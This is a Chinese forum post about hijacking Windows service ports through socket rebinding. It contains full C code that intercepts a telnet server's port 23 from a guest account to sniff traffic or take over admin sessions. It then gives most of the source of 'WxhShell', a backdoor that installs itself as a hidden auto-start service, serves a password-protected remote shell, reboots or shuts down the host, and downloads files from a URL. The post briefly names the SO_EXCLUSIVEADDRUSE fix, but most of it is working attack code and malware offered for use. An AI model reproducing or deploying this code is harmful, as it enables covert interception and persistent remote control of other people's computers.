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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QFMA y>Gdn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L$BV`JWPw  
J\P6  
  saddr.sin_family = AF_INET; g(Q1d-L4e  
K|YB)y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aCI3Tx&2qT  
K{{_qFj@<y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^Kg n:l  
fjOq@thD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T;?k]4.X  
aL%E#  
  这意味着什么?意味着可以进行如下的攻击: |R1T;J<[  
SiUu**zC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yOt#6Vw  
1[T7;i$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Qn,6s%n  
_&/ {A|n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a{.q/Tbt  
px "H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xEk8oc  
u>n"FL 'e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bMxK@$G~  
a]T&-#c,}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BjeD4  
0~z\ WSo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X fqhD&g  
fP V n;  
  #include ?:ZB'G{%E  
  #include }Uwji  
  #include marZA'u%B1  
  #include    Z Cjw)To(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I{jvUYrKH  
  int main() )9:5?,SO  
  { (v%24bv  
  WORD wVersionRequested;  RQb}t,  
  DWORD ret; {eV8h}KIl  
  WSADATA wsaData; `/ayg:WSU  
  BOOL val; uINdeq7|F  
  SOCKADDR_IN saddr; 0'fswa)  
  SOCKADDR_IN scaddr; XS">`9o!  
  int err; ".tL+A[  
  SOCKET s; Ff%V1BH[  
  SOCKET sc; @(~:JP?KNC  
  int caddsize; dWPQp*f2  
  HANDLE mt; s0^(yEcq  
  DWORD tid;   \?d3Pn5`  
  wVersionRequested = MAKEWORD( 2, 2 ); 4a "Fu<q  
  err = WSAStartup( wVersionRequested, &wsaData ); u }gavG l  
  if ( err != 0 ) { AoeRoqg&#  
  printf("error!WSAStartup failed!\n"); 3_~iq>l  
  return -1; \7uM5 k}l  
  } lU%}_!tp3/  
  saddr.sin_family = AF_INET; L]|mWyzT  
   #F.jf2h@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;,C]WZ.w  
`X}:(O^GO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0n}13u=}  
  saddr.sin_port = htons(23); U~N7\Pa4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <"J]u@|  
  { %)x9u$4W2  
  printf("error!socket failed!\n"); N);w~)MYh  
  return -1; /N"3kK,N  
  } UnF8#~  
  val = TRUE; q.VYPkEib  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (Z SaAn),  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IB/3=4n^|  
  { *iE tXv  
  printf("error!setsockopt failed!\n"); Y~-y\l;Tr  
  return -1; Ve3z5d:^  
  } NEIkG>\7q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >F7w]XH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >s f g`4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e~9O#rQI  
BVNW1<_:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~lys  
  { X,7y|tb  
  ret=GetLastError(); b}3"v(  
  printf("error!bind failed!\n"); e "A"  
  return -1; yZ|"qP1  
  } .h7s.p?  
  listen(s,2); o)AwM"  
  while(1) s|]g@cz an  
  { 8Ojqm#/f  
  caddsize = sizeof(scaddr); _U<fS  
  //接受连接请求 /|1p7{km  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QEhn  
  if(sc!=INVALID_SOCKET) ttzNv>L,  
  { 6<._^hyq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "6$V1B0KW  
  if(mt==NULL) MC}t8L=  
  { @1JwjtNk  
  printf("Thread Creat Failed!\n"); hj [77EEz  
  break; <U@N ^#  
  } [y[d7V9_o  
  } ,Of^xER`  
  CloseHandle(mt); O1J&Lwpk,  
  } N1c=cZDV  
  closesocket(s); -3EQRqVg  
  WSACleanup(); b-&iJ &>'  
  return 0; ;u UFgDi  
  }   [1VA`:?W  
  DWORD WINAPI ClientThread(LPVOID lpParam) QPJ \Iu@D$  
  { d(T4Kd$r  
  SOCKET ss = (SOCKET)lpParam; {r,U ik-nL  
  SOCKET sc; .$qa?$@  
  unsigned char buf[4096]; G<;~nAo?f0  
  SOCKADDR_IN saddr; $ J`O-"M  
  long num; <v:VA!]  
  DWORD val; 5ilGWkb`'X  
  DWORD ret; tnRf!A;m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H5=kDkb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5i!Q55Yv=,  
  saddr.sin_family = AF_INET; jwDlz.sW!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9-KhJq%  
  saddr.sin_port = htons(23); }}AIpYp,P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^Xk!wJ  
  { I&;>(@K  
  printf("error!socket failed!\n"); P[nc8z[  
  return -1; ~[g(@Xt  
  } jFj11w1FrA  
  val = 100; OSgJj MQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jz}nV1G(jz  
  { #DTKz]i?  
  ret = GetLastError(); .+9hm|  
  return -1; *@2Bh4  
  } H_DCdUgC'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K p3}A$uV  
  { za>UE,?h  
  ret = GetLastError(); J D\tt-  
  return -1; };/QK*  
  }  zUfq.   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L"bOc'GfQ  
  { liKlc]oM  
  printf("error!socket connect failed!\n"); =q4}(  
  closesocket(sc); rFRcK>X\L  
  closesocket(ss); I"07x'Ahq3  
  return -1; ^\\3bW9}H  
  } :!`"GaTy  
  while(1) e w^(3&  
  { Mt[yY|Ec|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QU"WpkO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kRp]2^}\s\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 22`^Rsb,6L  
  num = recv(ss,buf,4096,0); k ut=( ;  
  if(num>0) ZZw`8 E  
  send(sc,buf,num,0); :xh{SsW@  
  else if(num==0) WE<?y_0y&  
  break; N9e'jM>Oos  
  num = recv(sc,buf,4096,0); "TV'}HH  
  if(num>0) &`"DG$N(  
  send(ss,buf,num,0); IC`3%^  
  else if(num==0) f98,2I(>`+  
  break; |3*9+4]a  
  } jjs/6sSRk  
  closesocket(ss); gq+SM  i=  
  closesocket(sc); 1K72}Gj)ZL  
  return 0 ; '0<d9OlJ}  
  } t&r.Kf9Z\  
$^Fl*:6  
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========================================================== DD| 0?i  
a~$XD(w^  
下边附上一个代码,,WXhSHELL yk+ 50/L  
9mF '   
========================================================== K`4rUEf}V"  
/F*Y~>*% 1  
#include "stdafx.h" h [TwaR  
h3ygL"k  
#include <stdio.h> gD,&TW  
#include <string.h> ?YhDjQs  
#include <windows.h> L.Y3/H_  
#include <winsock2.h> JzyCeM =  
#include <winsvc.h> ,UNb#=it  
#include <urlmon.h> ZoW1Cc&p  
6EqA Y`y  
#pragma comment (lib, "Ws2_32.lib") q!Du J  
#pragma comment (lib, "urlmon.lib") A~zn;  
cG|fau<G  
#define MAX_USER   100 // 最大客户端连接数 Y0LZbT3  
#define BUF_SOCK   200 // sock buffer IkrB}  
#define KEY_BUFF   255 // 输入 buffer o2/:e  
s\*L5{kiSl  
#define REBOOT     0   // 重启 4>JSZ6i#n  
#define SHUTDOWN   1   // 关机 b IDUa  
7- B.<$uC  
#define DEF_PORT   5000 // 监听端口 q t"D!S_  
A2_ut6&eb  
#define REG_LEN     16   // 注册表键长度 l=@ B 'a  
#define SVC_LEN     80   // NT服务名长度 <_EKCk  
peQwH  
// 从dll定义API L\:|95Yq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q6zVu(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mypV[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BI'>\hX/V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cc@W 6W  
LC%o coc  
// wxhshell配置信息 S|85g1}t  
struct WSCFG { *t@A-Sn  
  int ws_port;         // 监听端口 87 Z[0>  
  char ws_passstr[REG_LEN]; // 口令 #mxOwvJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no &Mh.PzO=b  
  char ws_regname[REG_LEN]; // 注册表键名 L^J4wYFTO  
  char ws_svcname[REG_LEN]; // 服务名 ]e>qvSuYh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )M0YX?5A R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r`H}f#.KR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c[dSO(=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gf|uZ9{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u'YXI="(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [FFr}\}bY  
0w?da~  
}; M4^G3c<  
L%'J]HL-  
// default Wxhshell configuration ? SFBUX(p  
struct WSCFG wscfg={DEF_PORT, !fh (k  
    "xuhuanlingzhe", _NDQ2O  
    1, uP~,]ci7  
    "Wxhshell", ^T=9j.e'ja  
    "Wxhshell", X! d-"[  
            "WxhShell Service", Gh;\"Qx  
    "Wrsky Windows CmdShell Service", mdi!Q1pS  
    "Please Input Your Password: ", {u'szO}k  
  1, _v!7 |&\  
  "http://www.wrsky.com/wxhshell.exe", $)lkiA&;  
  "Wxhshell.exe" KVi6vdgD  
    }; cslC+e/  
*?)MJ@  
// 消息定义模块 ``MO5${  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K'A+V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lriezI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Cxf K(F  
char *msg_ws_ext="\n\rExit."; ~7m`p3W@  
char *msg_ws_end="\n\rQuit."; ? <?Ogq"<  
char *msg_ws_boot="\n\rReboot..."; ;6tra_  
char *msg_ws_poff="\n\rShutdown..."; _l d.Xmvd  
char *msg_ws_down="\n\rSave to "; c_/BS n  
5Rbl.5. A  
char *msg_ws_err="\n\rErr!"; !np_B0`  
char *msg_ws_ok="\n\rOK!"; |t,sK aL  
,=/9Ld2w9  
char ExeFile[MAX_PATH]; ,Py\Cp=Dw  
int nUser = 0; 0.MB;gm:  
HANDLE handles[MAX_USER]; @0+\:F  
int OsIsNt; P1#g{f  
5Xq+lLW>  
SERVICE_STATUS       serviceStatus; G%F#I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B=SA +{o  
SN6 QX!3  
// 函数声明 Ly= .  
int Install(void); pPReo)  
int Uninstall(void); ~q>jXi  
int DownloadFile(char *sURL, SOCKET wsh); vYgJu-Sl  
int Boot(int flag); _i =*0Q  
void HideProc(void); Z{8%Cln  
int GetOsVer(void); * #yF`_p  
int Wxhshell(SOCKET wsl); K\xz|Gq  
void TalkWithClient(void *cs); WowKq0sn  
int CmdShell(SOCKET sock); `M@ESA (e  
int StartFromService(void); p=+Y7NE)  
int StartWxhshell(LPSTR lpCmdLine); xP8/1wd.  
0h-NT\m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &;Ncc,jb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O,$*`RZpx  
z#{Y>.b  
// 数据结构和表定义 FZ*"^=)`G  
SERVICE_TABLE_ENTRY DispatchTable[] = I4Do$&9<D  
{ CD1Ma8I8  
{wscfg.ws_svcname, NTServiceMain}, R|?n  
{NULL, NULL} Np\NStx2  
}; snbXAx1L  
#}A"yo  
// 自我安装 ={g"cx  
int Install(void) pte\1q[N  
{ q <}IO  
  char svExeFile[MAX_PATH]; |d0X1(  
  HKEY key; =dXHQU&Q  
  strcpy(svExeFile,ExeFile); }Qo]~/  
b9g2mWL\T  
// 如果是win9x系统,修改注册表设为自启动 ;~3;CijJ8  
if(!OsIsNt) { 2/SUEnaLy_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "8QRYV~Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =!Ik5LiD  
  RegCloseKey(key); z~{08M7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _L,~WYRo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I:dUHN+@L5  
  RegCloseKey(key); &A:&2sP8  
  return 0; f6r!3y  
    } a1,)1y~  
  } "6,fIsU  
} Tzd#!Lvm:,  
else { ~-"CU:$o  
{$S"S j  
// 如果是NT以上系统,安装为系统服务 r^k+D<k[7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m"L^tSD~  
if (schSCManager!=0) [REH*_  
{ ("`"?G  
  SC_HANDLE schService = CreateService d=1\=d/K  
  ( =svFw&q"  
  schSCManager, VgPlIIHh5  
  wscfg.ws_svcname, %[XP}L$  
  wscfg.ws_svcdisp, _'p/8K5)=  
  SERVICE_ALL_ACCESS, 0>[]Da}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T m"B  
  SERVICE_AUTO_START, b>5* G1  
  SERVICE_ERROR_NORMAL, D;sG9Hky  
  svExeFile, }$)~HmZw  
  NULL, 4KH'S'eR  
  NULL, p39$V[*g(  
  NULL, wOH:'sk["  
  NULL, 4m~y%> &  
  NULL x(?Rm,  
  ); fb Bu^]^S  
  if (schService!=0) =8_b&4.:&  
  { +149 o2  
  CloseServiceHandle(schService); 8Hq4ppC  
  CloseServiceHandle(schSCManager); IlJ"t`Z9)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :1d;jx>  
  strcat(svExeFile,wscfg.ws_svcname); y,?=,x}o#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >4g!ic~O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \7\sx:!$  
  RegCloseKey(key); m9h<)D'>  
  return 0; =2q#- ,t  
    } ( yLu=  
  } dr)*.<_+a(  
  CloseServiceHandle(schSCManager); +*OAClt+]  
} z/#,L!Z3  
} Le83[E*i  
xst-zfkH`  
return 1; 5$i(f8*  
} u.E>d9  
r?KRK?I  
// 自我卸载 F=5+JjrX  
int Uninstall(void) K0>;4E>B  
{ gpq ,rOIK  
  HKEY key; 0L;,\&*u  
*mV?_4!,f7  
if(!OsIsNt) { #ChTel  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2fdN@iruB  
  RegDeleteValue(key,wscfg.ws_regname); 9q]f]S.L  
  RegCloseKey(key); `*[Kmb\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PY|zN|  
  RegDeleteValue(key,wscfg.ws_regname); ZQ"dAR/y  
  RegCloseKey(key); P%B|HnG^  
  return 0; mN-O{k0\  
  } FOD'&Yb&  
} e"1mdw"  
} ^/%o I;O{  
else { a<*+rGI  
'*[7O2\%/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HFB>0<$  
if (schSCManager!=0) e'~Qe_  
{ <Z[Z&^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SN|!FW.*:  
  if (schService!=0) C;ab-gh  
  { YdV.+v(30  
  if(DeleteService(schService)!=0) { JQLQS  
  CloseServiceHandle(schService); Wrbv<8}%c  
  CloseServiceHandle(schSCManager); ke@OG! M/  
  return 0; {^ BZ#)m|  
  } zEjl@Kf  
  CloseServiceHandle(schService); ys!O"=OJ  
  } Dh m ;K$T  
  CloseServiceHandle(schSCManager); 4~Q<LEly  
} u/k' ry=  
} NXLb'mH~  
E9Kp=3H  
return 1; iTevl>p!  
} ipG 0ie+  
g3s5ra[  
// 从指定url下载文件 J3+qnT8X  
int DownloadFile(char *sURL, SOCKET wsh) !C4)P3k  
{ AW;xlY= g  
  HRESULT hr; Sc3{Y+g  
char seps[]= "/";  8\nka5  
char *token; 7E* 0;sA#  
char *file; "z6p=B"?3  
char myURL[MAX_PATH]; /0`Eux\  
char myFILE[MAX_PATH]; nYC.zc*ox  
bfUKh%!M  
strcpy(myURL,sURL); j*?E~M.'1K  
  token=strtok(myURL,seps); ?gu!P:lZS  
  while(token!=NULL) GQ85ykky  
  { E Id>%0s5  
    file=token; Yq/vym-O5  
  token=strtok(NULL,seps); Gqq< -drR  
  } %/)z!}{  
A+Bq5mik  
GetCurrentDirectory(MAX_PATH,myFILE); EAh|$~X  
strcat(myFILE, "\\"); b L.Xb y<Y  
strcat(myFILE, file); O*2{V]Y @  
  send(wsh,myFILE,strlen(myFILE),0); +-x+c: IxA  
send(wsh,"...",3,0); Lcg1X3$G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  w@mCQ$  
  if(hr==S_OK) WCaMPz  
return 0; 6wOj,}2Mn  
else ui"`c%2n  
return 1; 1C=42ZZ&2  
^^V+0 l  
} zWN]#W`  
0LGHSDb  
// 系统电源模块 X+;#^A3  
int Boot(int flag) ld%#.~Q  
{ :\mdVS!o  
  HANDLE hToken; qU&v50n  
  TOKEN_PRIVILEGES tkp; e\#aQ1?"  
?(khoL t  
  if(OsIsNt) { ;p,Kq5,l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F)l1%F Cm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PTpfa*t  
    tkp.PrivilegeCount = 1; "T8b.ng  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; daB 5E<?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eMOp}.zt|  
if(flag==REBOOT) { 1@-l@ P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?iaO+G&|  
  return 0; rIyIZWkI  
} `^g-2~  
else { 0p,_?3nX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J,h'eY5  
  return 0; 5OTZa>H  
} %h_N%B$7c1  
  } D1]?f`  
  else { 3ug>,1:6-  
if(flag==REBOOT) { dphWxB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g |]Hm*  
  return 0; |o_ N$70  
} +>tSO!}[  
else { ,]@Sytky  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t,~feW,  
  return 0; Ch=jt*0  
} nS!m1&DeD  
} >)`*:_{  
KrTlzbw&p\  
return 1; .%\R L/  
} $-]9/Ct  
u\K`TWb%  
// win9x进程隐藏模块 lo7>$`Q  
void HideProc(void) ?+]   
{ k c L +  
sEa|2$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {FN CC*=  
  if ( hKernel != NULL ) %zjyZ{=  
  { t4zKI~cO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PTF|"^k+   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [L2N[vy;  
    FreeLibrary(hKernel); f 0/q{*  
  } _k)EqPYu@  
}o=s"0a  
return; 3|Y.+W  
} ;%/}(&E2  
;0dl  
// 获取操作系统版本 Jk`0yJi$q  
int GetOsVer(void) $B )jSxSy  
{ GS GaYq  
  OSVERSIONINFO winfo; aqP"Y9l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s8*Q@0  
  GetVersionEx(&winfo); aO *][;0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7$kTeKiP  
  return 1; +W|VCz  
  else 7MX5hZF"  
  return 0; :<6gP(  
} _nIt4l7  
kc[<5^b5  
// 客户端句柄模块 q$B|a5a?  
int Wxhshell(SOCKET wsl) pQCW6X  
{ _o6Zj1p  
  SOCKET wsh; ib(4Y%U6~  
  struct sockaddr_in client; na|23jz4  
  DWORD myID; K!tM "`a  
5BMrn0  
  while(nUser<MAX_USER) ;C5 J ^xHI  
{ ](k}B*Ab h  
  int nSize=sizeof(client); kI~; 'M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kznm$2 b  
  if(wsh==INVALID_SOCKET) return 1; mN" g~o*  
o|1_I?_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nsXyReWka  
if(handles[nUser]==0) n?NUnFA  
  closesocket(wsh);  )jH|j  
else %bB:I1V\  
  nUser++; ~T\:".C  
  } :w9s bW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9d+z?J:  
E>1%7" i<  
  return 0; hhJ>>G4R2  
}  :D  
^}Gu'!z9D  
// 关闭 socket $mst\]&;  
void CloseIt(SOCKET wsh) Wl{}>F`W[  
{ sWMY Lo  
closesocket(wsh); )#Id=c  
nUser--; Uclta  
ExitThread(0); KCS},X_  
} NY%=6><t!  
6 $5SS#  
// 客户端请求句柄 03 I*@jj  
void TalkWithClient(void *cs) m$^v/pLkM  
{ 9y*pn|A[F  
BA`K,#Ft7  
  SOCKET wsh=(SOCKET)cs; 2]_fNCNLN  
  char pwd[SVC_LEN]; 6V @ [< d  
  char cmd[KEY_BUFF]; =\x(Rs3  
char chr[1]; IUwMIHq&sW  
int i,j; x|A{|oFC  
6iJ\7  
  while (nUser < MAX_USER) { DZU} p  
@HP7$U"  
if(wscfg.ws_passstr) { $McbVn)~f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @<=<?T> 1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0`kaT ?>  
  //ZeroMemory(pwd,KEY_BUFF); K7] +. f  
      i=0; *l8:%t\  
  while(i<SVC_LEN) { t|cTl/i 4  
%8! }" Xa  
  // 设置超时 ~d&W;mef-  
  fd_set FdRead; ]t.6bb4  
  struct timeval TimeOut; cp3O$S  
  FD_ZERO(&FdRead); Aw7_diK^  
  FD_SET(wsh,&FdRead); u*<knZ~ty  
  TimeOut.tv_sec=8; J+f*D+x1  
  TimeOut.tv_usec=0; G>j4b}e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 69EdMuf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P~OD d(  
= ^_4u%}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (b;*8  
  pwd=chr[0]; W3 2]#M=  
  if(chr[0]==0xd || chr[0]==0xa) { >Ef{e6  
  pwd=0; vFl06N2  
  break; ~Jx0#+z9V  
  } P^& =L&U  
  i++; Eh|v>Yew  
    } #@K %Mx  
9 az{j 1  
  // 如果是非法用户,关闭 socket rCgoU xW`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \[W)[mH_  
} M%qHf{ B  
*BAR`+;U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b&E9xD/;r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NKE,}^C  
N9gbj%+  
while(1) { y-^m  
Gil mJ2<  
  ZeroMemory(cmd,KEY_BUFF); Kz2s{y~?  
s|o+ Im  
      // 自动支持客户端 telnet标准   4~mmP.c  
  j=0; ^Qa!{9o[  
  while(j<KEY_BUFF) { 0iTh |K0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qfl#ki`,  
  cmd[j]=chr[0]; `w#p8vR  
  if(chr[0]==0xa || chr[0]==0xd) { 31k2X81;a  
  cmd[j]=0; Tt\G y  
  break; (|.rEaTA[1  
  } [X\~J &kD  
  j++; O#B2XoZa+  
    } OCN@P+L3q  
wJu,N(U  
  // 下载文件 DNy 6Kw  
  if(strstr(cmd,"http://")) { 8AuOe7D9A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q,< V)  
  if(DownloadFile(cmd,wsh)) VVDd39q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J0O wzO  
  else < r7s,][&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o-r00H|  
  } BoHpfx1C  
  else { E7>D:BQ\2  
K *xca(6  
    switch(cmd[0]) { ,7mB`0j>  
  \9`76*X6 c  
  // 帮助 V"DilV$v  
  case '?': { 0m 7_#g4$L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  Va3/#is'  
    break; 8a,pDE  
  } 8(|lP58~  
  // 安装 JJVdq-k+`  
  case 'i': { PiZU _~A  
    if(Install()) M sQ>eSk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b[os0D95  
    else 1?,1EYT"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -wrVhCd~g]  
    break; j$Wd[Ja+O  
    } lmpBf{~ S  
  // 卸载 9HBRWh6  
  case 'r': { $ v0beN6MG  
    if(Uninstall()) caXSt2|'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &$8YW]1M  
    else ~zph,bk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6&s" "J)3  
    break; /+ Q3JS(  
    } l7vxTj@(-  
  // 显示 wxhshell 所在路径 tiQeON-Q_  
  case 'p': { ((cRe6  
    char svExeFile[MAX_PATH]; W}aCU~  
    strcpy(svExeFile,"\n\r"); "`Mowp*  
      strcat(svExeFile,ExeFile); > xie+ ^  
        send(wsh,svExeFile,strlen(svExeFile),0); tv'=xDCp  
    break; "#G`F  
    } -cP7`.a  
  // 重启 crl"Ec  
  case 'b': { 3+oGR5gIN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \k>1q/T0V  
    if(Boot(REBOOT)) ;\(X;kQi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Td,s"p>Vq  
    else { iWp 6^g  
    closesocket(wsh); i$JN s)I%  
    ExitThread(0); X(JE]6_  
    } <tto8Y j  
    break; N977F$B o  
    } "xV0$%  
  // 关机 8Ai\T_l  
  case 'd': { 7-A/2/G<  
